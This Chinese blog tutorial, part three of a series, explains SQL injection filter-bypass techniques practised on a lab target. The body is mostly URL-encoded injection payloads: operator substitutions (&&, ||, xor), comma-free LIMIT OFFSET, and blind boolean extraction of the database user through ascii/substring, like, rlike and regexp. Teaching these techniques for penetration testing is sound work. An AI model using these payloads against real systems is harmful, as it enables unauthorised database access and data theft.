web安全之SQL注入绕过技术(三)

文中详细讲解web安全之SQL注入的绕过技术,通过文中内容更加深入的掌握SQL注入绕过技术原理及使用方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

SQL注入绕过技术(三)

limit offset绕过

当我们在sql注入中,如果需要限定条目可以使用limit 0,1这样来限定返回条目的显示,如果对逗号进行了限制,那么如果我们只需要查看第一条数据可以使用limit 1,但如果需要查看第二条,使用limit 2会返回前两条数据,所以这里我们只能通过limit 1,1来查看,因此需要使用offset这个函数。

select * from users limit 1 offset 0;

在这里插入图片描述

and or xor not 绕过

在实战中,通常我们的防护设备会过滤掉and or xor not这几种字符,所有我们同样也有相对于的来进行代替:

and = &&
or = ||
not = !
xor = |

这里我们通过and 1=1 来查看是否有注入:
注:这里因为是字符型注入,所以需要’1’=‘1’ ,而非1=1,如果不使用–+过滤,那么就可以’1’='1

?name=vince' and '1'='1'--+&submit=1

同样如果and被过滤,我们则可以使用&&来代替,不过在浏览器中&&需要使用URL编码:

?name=vince' %26%26  '1'='1&submit=1 #真,返回正确页面
?name=vince' %26%26  '1'='2&submit=1 #假,返回错误页面

在这里插入图片描述
使用|| 来代替or,只要一边为真,就成立:

?name=' %7c%7c '1'='1&submit=1 #后为真,返回正确页面
?name=vince' %7c%7c '1'='2&submit=1 #前为真,返回正确页面
?name=' %7c%7c '1'='2&submit=1 #前后都为假,返回错误页面

在这里插入图片描述
在这里插入图片描述
使用xor来判断,xor不需要进行编码:

?name=' xor '1'='2&submit=1 # xor前为真,xor后为假,则返回正确页面
?name=' xor '1'='1&submit=1 # xor前为假,xor后为假,则返回错误页面

在这里插入图片描述

ascii字符对比绕过

当WAF对union select进行过滤,我们则不能使用联合查询注入,所以需要使用ascii字符对比的方法来进行突破waf实现绕过。

?name=vince' %26%26 ascii(substring(user() from 1 for 1))=114--+&submit=1 

r在ascii中就是114,所以返回正确页面,当不等于114的时候,就会返回错误页面:
在这里插入图片描述
在这里插入图片描述

等号绕过

根据上面我们使用ascii字符来对比,但如果我们等号被过滤,那么我们同样可以使用like,rlike,正则表达式regexp 或者运算符号<>来突破waf实现绕过。
当我们使用>113是正确页面,但使用>114是错误页面时,则说明我们当前用户的首字母ascii码就是114。

?name=vince' %26%26 ascii(substring(user() from 1 for 1))>114--+&submit=1

我们同样可以使用like来进行查询:

select * from users where id=1 and (select substring(user(),1,1)like 'r%');

在这里插入图片描述
**如果在浏览器中则可以优化将and使用&&,再转成%26%26来代替,逗号 from 1 for 1来替换, 'r%'转成ascii **
这样在语句中就没有等号,没有union select,没有逗号,没有and 。

?name=vince' %26%26 ascii(substring(user() from 1 for 1)like 114)--+&submit=1

rlike的用户与like基本相同。
在这里插入图片描述
使用正则表达式regexp来进行绕过:

select * from users where id=1 and 1=(select user() regexp '^r');

在这里插入图片描述
如果需要继续输出则直接在^r后面加,在浏览器中,如果一直是正确的,则返回正常页面,如果错误,则返回错误页面。
在这里插入图片描述
在浏览器中:

?name=vince' and 1=(select user() regexp '^root')--+&submit=1

在这里插入图片描述

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

全局变量Global

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值